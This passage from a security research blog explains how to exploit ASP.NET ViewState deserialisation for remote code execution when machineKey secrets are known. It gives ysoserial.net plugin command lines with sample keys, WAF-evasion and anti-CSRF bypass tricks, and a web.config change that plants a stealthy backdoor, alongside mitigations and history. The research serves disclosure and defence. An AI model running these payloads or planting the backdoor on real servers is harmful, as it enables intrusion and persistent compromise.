     <ObjectDataProvider.MethodParameters>
        <System:Int32>10000</System:Int32>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";

Enabled ViewState MAC Validation

Knowledge of used validation and decryption keys and algorithms within the machineKey section of the configuration files (web.config or machine.config) is required when the MAC validation feature is enabled. As mentioned previously, this is the default configuration for all .NET Framework versions since September 2014. The following machineKey section shows an example:

<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

It should be noted that when a machineKey section has not been defined within the configuration files or when the validationKey and decryptionKey attributes have been set to AutoGenerate, the application generates the required values dynamically based on a cryptographically random secret. The algorithms can also be selected automatically. Currently in the latest version of .NET Framework, the default validation algorithm is HMACSHA256 and the default decryption algorithm is AES. See [13] for more details.

The way .NET Framework signs and encrypts the serialised objects has been updated since version 4.5. As a result, knowing the targeted application’s framework version is important to create a valid payload. The following machineKey section shows an example that chooses .NET Framework version 4.5 or above (also see [14]):

<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" compatibilityMode="Framework45" />

In older versions (prior to 4.5), .NET Framework uses the TemplateSourceDirectory property [15] when signing a serialised object. Since version 4.5 however, it uses the Purpose strings in order to create the hash. Both of these mechanisms require the target path from the root of the application directory and the page name. These parameters can be extracted from the URL.

Applications that use an older framework and enforce ViewState encryption can still accept a signed ViewState without encryption. This means that knowing the validation key and its algorithm is enough to exploit a website. It seems ViewState is encrypted by default since version 4.5 even when the viewStateEncryptionMode property has been set to Never. This means that in the latest .NET Framework versions the decryption key and its algorithm are also required in order to create a payload.

The ASP.NET ViewState contains a property called ViewStateUserKey [16] that can be used to mitigate risks of cross-site request forgery (CSRF) attacks [4]. Value of the ViewStateUserKey property (when it is not null) is also used during the ViewState signing process. Although not knowing the value of this parameter can stop our attack, its value can often be found in the cookies or in a hidden input parameter ([17] shows an implemented example).

YSoSerial.Net Plugin to the Rescue!

I have created the ViewState YSoSerial.Net plugin in order to create ViewState payloads when the MAC validation is enabled and we know the secrets. It supports the main and v2 branches ([18], [19]).

This plugin supports the following arguments:

      --examples             to show a few examples. Other parameters will be
                               ignored
  -g, --gadget=VALUE         a gadget chain that supports LosFormatter.
                               Default: ActivitySurrogateSelector
  -c, --command=VALUE        the command suitable for the used gadget (will
                               be ignored for ActivitySurrogateSelector)
      --upayload=VALUE       the unsigned LosFormatter payload in (base64
                               encoded). The gadget and command parameters will
                               be ignored
      --generator=VALUE      the __VIEWSTATEGENERATOR value which is in HEX,
                               useful for .NET <= 4.0. When not empty, 'legacy'
                               will be used and 'path' and 'apppath' will be
                               ignored.
      --path=VALUE           the target web page. example: /app/folder1/pag-
                               e.aspx
      --apppath=VALUE        the application path. this is needed in order to
                               simulate TemplateSourceDirectory
      --islegacy             when provided, it uses the legacy algorithm
                               suitable for .NET 4.0 and below
      --isencrypted          this will be used when the legacy algorithm is
                               used to bypass WAFs
      --viewstateuserkey=VALUE
                             this to set the ViewStateUserKey parameter that
                               sometimes used as the anti-CSRF token
      --decryptionalg=VALUE  the encryption algorithm can be set to  DES,
                               3DES, AES. Default: AES
      --decryptionkey=VALUE  this is the decryptionKey attribute from
                               machineKey in the web.config file
      --validationalg=VALUE  the validation algorithm can be set to SHA1,
                               HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
                               AES. Default: HMACSHA256
      --validationkey=VALUE  this is the validationKey attribute from
                               machineKey in the web.config file
      --isdebug              to show useful debugging messages!

A few examples to create a ViewState payload are as follows.

For .NET Framework >= 4.5:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

For .NET Framework <= 4.0 (legacy):

The decryptionKey and its algorithm are not required here:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

Apart from using different gadgets, it is possible to use the __VIEWSTATEGENERATOR parameter instead of providing the paths:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

It uses the ActivitySurrogateSelector gadget by default that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The ViewState payload can also be encrypted to avoid WAFs when the decryptionKey value is known:

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

The ViewStateUserKey parameter can also be provided as an argument.

As mentioned previously, it is important to find the root of the application path in order to create a valid ViewState unless:

  • The application uses .NET Framework version 4.0 or below; and
  • The __VIEWSTATEGENERATOR parameter is known.

In this case, the --generator argument can be used. The --isdebug argument can be used to check whether the plugin also calculates the same __VIEWSTATEGENERATOR parameter when the --path and --apppath arguments have been provided.

The created plugin handles the requirement when it needs to be all in lowercase or uppercase automatically. The following URL shows an ASP.NET page as an example to make this clearer:

http://victim.com/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4/page.aspx

The following screenshot shows the path tree in IIS:

You can check [20] if you are not familiar with virtual directory and application terms in IIS.

In order to generate a ViewState for the above URL, the --path and --apppath arguments should be as follows:

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/

If we did not know that “app2” was an application name, we could use trial and error to test all the directory names in the URL one by one until finding a ViewState that can execute code on the server (perhaps by getting a DNS request or causing a delay).

Note: Due to the nature of used gadgets in YSoSerial.Net, the target ASP.NET page always responds with an error even when an exploit has been executed successfully on the server-side.

Exploiting Older Versions

No gadget was identified to exploit .NET Framework v1.1 at the time of writing this blog post.

In order to exploit applications that use .NET Framework v4.0 or below, the YSoSerial.Net v2.0 branch [21] can be used (this was originally developed as part of another research [22]). However, this project only supports a limited number of gadgets, and also requires the target box to have .NET Framework 3.5 or above installed. Although this is not ideal, it was tested on an outdated Windows 2003 box that had the following packages installed which is very common:

Machine generated alternative text:
Microsoft .NET Framework 2.0 Service Pack 2 
Microsoft .NET Framework 3.0 Service Pack 2 
Microsoft .NET Framework 3.5 SPI 
Microsoft .NET Framework 4 Client Profile 
Microsoft .NET Framework 4 Extended

Additional Tips for Testers

Using GET requests

It is also possible to send the __VIEWSTATE parameter in the URL via a GET request. The only limiting factor is the URL length that limits the type of gadgets that can be used here. During this research, I managed to use the TextFormattingRunProperties gadget in YSoSerial.Net to exploit an application by sending the payload in the URL.

Encryption in .NET Framework prior to version 4.5

As mentioned previously, the __VIEWSTATE parameter does not need to be encrypted when exploiting .NET Framework 4.0 and below (tested on v2.0 through v4.0) even when the ViewStateEncryptionMode property has been set to Always. ASP.NET decides whether or not the ViewState has been encrypted by finding the __VIEWSTATEENCRYPTED parameter in the request (it does not need to have any value). Therefore, it is possible to send an unencrypted ViewStated by removing the __VIEWSTATEENCRYPTED parameter from the request.

This also means that changing the decryption key or its algorithm cannot stop the attacks when the validation key and its algorithm have been stolen.

The __VIEWSTATE parameter can be encrypted in order to bypass any WAFs though.

Bypassing anti-CSRF (anti-XSRF) mechanism

An ASP.NET page produces an error when an invalid __VIEWSTATE parameter is used. However, the page can still receive its inputs when Request.Form is used directly in the code for example by using Request.Form["txtMyInput"] rather than txtMyInput.Text. The CSRF attack can be achieved by removing the __VIEWSTATE parameter from the request or by adding the __PREVIOUSPAGE parameter with an invalid value. As the __PREVIOUSPAGE parameter is encrypted and base64 formatted by default, even providing a single character as its value should cause an error.

This might result in bypassing the anti-CSRF protection mechanism that has been implemented by setting the Page.ViewStateUserKey parameter.

Usage of the ViewStateGenerator parameter

When the __VIEWSTATEGENERATOR parameter is known, it can be used for the ASP.NET applications that use .NET Framework version 4.0 or below in order to sign a serialised object without knowing the application path.

ViewState chunking to bypass WAFs

It is possible to break the __VIEWSTATE parameter into multiple parts when the MaxPageStateFieldLength property has been set to a positive value. Its default value is negative and it means that the __VIEWSTATE parameter cannot be broken into multiple parts.

This might be useful to bypass some WAFs when ViewState chunking is allowed.

Exploiting the EventValidation parameter

The __EVENTVALIDATION parameter and a few other parameters are also serialised similar to the __VIEWSTATE parameter and can be targeted similarly. Exploiting a deserialisation issue via __EVENTVALIDATION is more restricted and requires:

  • A POST request
  • An ASP.NET page that accepts input parameters
  • A valid input parameter name. For example, the myinput parameter in the POST request when we have the following code on the server-side:
<asp:TextBox runat="server" ID="myinput" />

Value of the __VIEWSTATE parameter can be empty in the request when exploiting the __EVENTVALIDATION parameter but it needs to exist.

The Purpose string that is used by .NET Framework 4.5 and above to create a valid signature is different based on the used parameter. The following table shows the defined Purpose strings in .NET Framework:

Input Parameter Purpose String
“__VIEWSTATE”   WebForms.HiddenFieldPageStatePersister.ClientState
“__EVENTVALIDATION”   WebForms.ClientScriptManager.EventValidation
P2 in P1|P2 in “__dv” + ClientID + “__hidden”   WebForms.DetailsView.KeyTable
P4 in P1|P2|P3|P4 in “__CALLBACKPARAM”   WebForms.DetailsView.KeyTable
P3 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden”   WebForms.GridView.SortExpression
P4 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden”   WebForms.GridView.DataKeys

The table above shows all input parameters that could be targeted.

Beware of the PreviousPage parameter

When the __PREVIOUSPAGE parameter exists in the request with invalid data, the application does not deserialise the __VIEWSTATE parameter. Providing the __CALLBACKID parameter prevents this behaviour.

Web.Config as a backdoor

If attackers can change the web.config within the root of an application, they can easily run code on the server. However, embedding a stealthy backdoor on the application might be a good choice for an attacker. This can be done by disabling the MAC validation and setting the viewStateEncryptionMode property to Always. This means that all ASP.NET pages that do not set the ViewStateEncryptionMode property to Auto or Never always use encrypted ViewState parameters. However, as the ViewState do not use the MAC validation feature, they are now vulnerable to remote code execution via deserialising untrusted data. The following shows an example:

<configuration>
…
    <system.web>
…
        <pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
    </system.web>
    <appSettings>
        <add key="aspnet:AllowInsecureDeserialization" value="false" />
    </appSettings>
</configuration>

Another option for a stand-alone website would be to set the machineKey section with arbitrary keys and algorithms to stop other attackers!

Disabling the ViewState

It should be noted that setting the EnableViewState property to False does not stop this attack as the ViewState will still be parsed by ASP.NET.

Errors reliability

As explained previously, we sometimes use errors to check whether a generated ViewState is valid. ASP.NET does not show the MAC validation error by default when an invalid __VIEWSTATEGENERATOR parameter is used. This behaviour changes when the ViewStateUserKey property is used, as ASP.NET will not suppress the MAC validation errors anymore.

In addition to this, ASP.NET web applications can ignore the MAC validation errors with the following setting even when the ViewStateUserKey property is used:

<appSettings>
      <add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

This different behaviour can make the automated testing using error messages complicated especially when custom error pages are used.

Recommendations

The following list shows how to mitigate risks of this attack:

  • Ensure that the MAC validation is enabled.
  • If the ViewState parameter is only used on one machine, ensure that the MachineKey parameters are being generated dynamically at run time per application.
  • Encrypt any sensitive parameters such as the machineKey section within the configuration files.
  • Consider using the ViewStateUserKey property. Its value can be consist of two parts: The first part that is used as the anti-CSRF protection mechanism can be disclosed to the users. The second part should be robustly random and unpredictable and remain as a secret on the server-side.
  • Any disclosed validation or decryption keys need to be regenerated.
  • Ensure that custom error pages are in use and users cannot see the actual ASP.NET error messages.

The History

Since when do we know about the RCE using ViewState?

Exploiting untrusted data deserialisation via the ViewState is not a new attack. In fact, it has been known publicly for at least 5 years at the time of writing this blog post.

There was an interesting presentation from Alexandre Herzog in November 2014 regarding exploiting the deserialisation issues in SharePoint when the MAC validation was disabled in certain pages [23]. It seems that he had used James Forshaw’s research [24] to forge his exploit and reported it to Microsoft in September 2012.

Microsoft released an update for ASP.NET 4.5.2 in December 2013 [25] to remove the ability of .NET applications to disable the MAC validation feature as it could lead to remote code execution. This patch was extended in September 2014 [3] to cover all the versions of .NET Framework.

The easy exploitation mechanism was known publicly after Alvaro Muñoz & Oleksandr Mirosh published their gadgets in BlackHat 2017 [26]. It was then possible to use the YSoSerial.Net project [12] to create the LosFormatter class payloads.

Exploiting ASP.NET web applications via ViewState has also been mentioned directly in BlueHat v17 by Jonathan Birch in November 2017 [27], and has also been covered by Alvaro Muñoz in the LOCOMOCO conference in April 2018 [28].

I might have missed some parts of the history here so please feel free to enlighten me by leaving me a comment or message me in Twitter; I will try to verify and publish it when I can.

Other tools

It seems Immunity Canvas supports creating the ViewState parameter when the validation and encryption keys are known [29]. The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising:

I think these tools currently do not differentiate between different versions of .NET Framework and target the legacy cryptography. Additionally, they do not use the ViewStateUserKey parameter that might be in use to stop CSRF attacks. I like the fact that the viewgen application has been written in Python as it makes it portable to other platforms as well as web scanners such as Burp Suite. I hope to see further developments in these tools to support the missing features.

I confirm that I did not use any of the above tools during this research and creation of the ViewState YSoSerial.Net plugin.

Thank You!

Kudos to NCC Group and my colleagues for their support whilst performing a major part of this research.

Additional kudos to Alvaro Muñoz for his support by giving me access to his code and helping me in updating the YSoSerial.Net project.

Updates

06/08/2019:

The following blog posts are related to this research:

A video link for Immunity Canvas was added to the references and also in the “Other tools” section.

This post has been nominated in the “pwnie for most under-hyped research” category in 2019 pwnie awards [30]!

References

[1] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter

[2] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter

[3] https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/

[4] https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET

[5] https://docs.microsoft.com/en-us/previous-versions/aspnet/hh975440(v=vs.120)

[6] https://github.com/Microsoft/referencesource/blob/master/System.Web/Util/AppSettings.cs#L59

[7] https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/Page.cs#L4034

[8] https://www.troyhunt.com/understanding-and-testing-for-view/

[9] https://portswigger.net/kb/issues/00400600_asp-net-viewstate-without-mac-enabled

[10] https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/viewstate-mac-disabled/

[11] https://www.acunetix.com/vulnerabilities/web/view-state-mac-disabled/

[12] https://github.com/pwntester/ysoserial.net/

[13] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection

[14] https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection.compatibilitymode

[15] https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory

[16] https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969(v=msdn.10)

[17] https://software-security.sans.org/developer-how-to/developer-guide-csrf

[18] https://github.com/pwntester/ysoserial.net/tree/master/ysoserial/Plugins/ViewStatePlugin.cs

[19] https://github.com/pwntester/ysoserial.net/tree/v2/ysoserial/Plugins/ViewStatePlugin.cs

[20] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis

[21] https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2

[22] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/

[23] https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20

[24] https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf

[25] https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247

[26] https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

[27] https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization

[28] https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints?slide=54

[29] https://vimeopro.com/user18478112/canvas/video/260982761

[30] https://web.archive.org/web/20190803165724/https://pwnies.com/nominations/

Finding and Exploiting .NET Remoting over HTTP using Deserialisation

I have published a blog post in NCC Group’s website to explain how to test deserialisation issues within the SOAP requests that are used by ASP.NET Remoting over a HTTP channel:

This research is accompanied by an open source project that show a sample vulnerable server and a client that can be useful for testing purposes: https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/

The blog link is as follows: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/

More research on .NET deserialization

I have recently published a whitepaper and a blog post as part of work research in NCC Group’s website. A number of plugins have also been added to the ysoserial.net project.

The whitepaper can aid security researchers as well as developers to find more deserialisation issues in .NET applications by identifying built-in methods or classes that can be abused in this process. The whitepaper can be downloaded from: https://www.nccgroup.trust/globalassets/our-research/uk/images/whitepaper-new.pdf

In the blog post, I have also explained one of the most interesting findings of the research with which code could be executed upon pasting an object from the clipboard:

ASP.NET resource files (.RESX) and deserialization issues

I have recently published a blog post via NCC Group’s website about the deserialization issue by abusing the ASP.NET resource files (.resx and .resources extensions). A number of products were exploited and some file uploaders can also be vulnerable to this type of attack.

The full article can be viewed in NCC Group’s website: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/aspnet-resource-files-resx-and-deserialisation-issues/

PDF version of the blog post published by NCC Group can be downloaded from:

https://soroush.secproject.com/downloadable/aspnet_resource_files_resx_deserialization_issues.pdf

In addition to this, the advisories can be seen via:

Code Execution by Unsafe Resource Handling in Multiple Microsoft Products: https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-unsafe-resource-handling-in-multiple-microsoft-products/

Code Execution by Viewing Resource Files in .NET Reflector: https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/

I had also reported the same vulnerability in Telerik justDecompile and JetBrains dotPeek:

https://blog.jetbrains.com/dotnet/2018/08/02/resharper-ultimate-2018-1-4-rider-2018-1-4-released/

https://www.telerik.com/support/whats-new/justdecompile/release-history/justdecompile-r2-2018-sp1

Relevant tweets about this: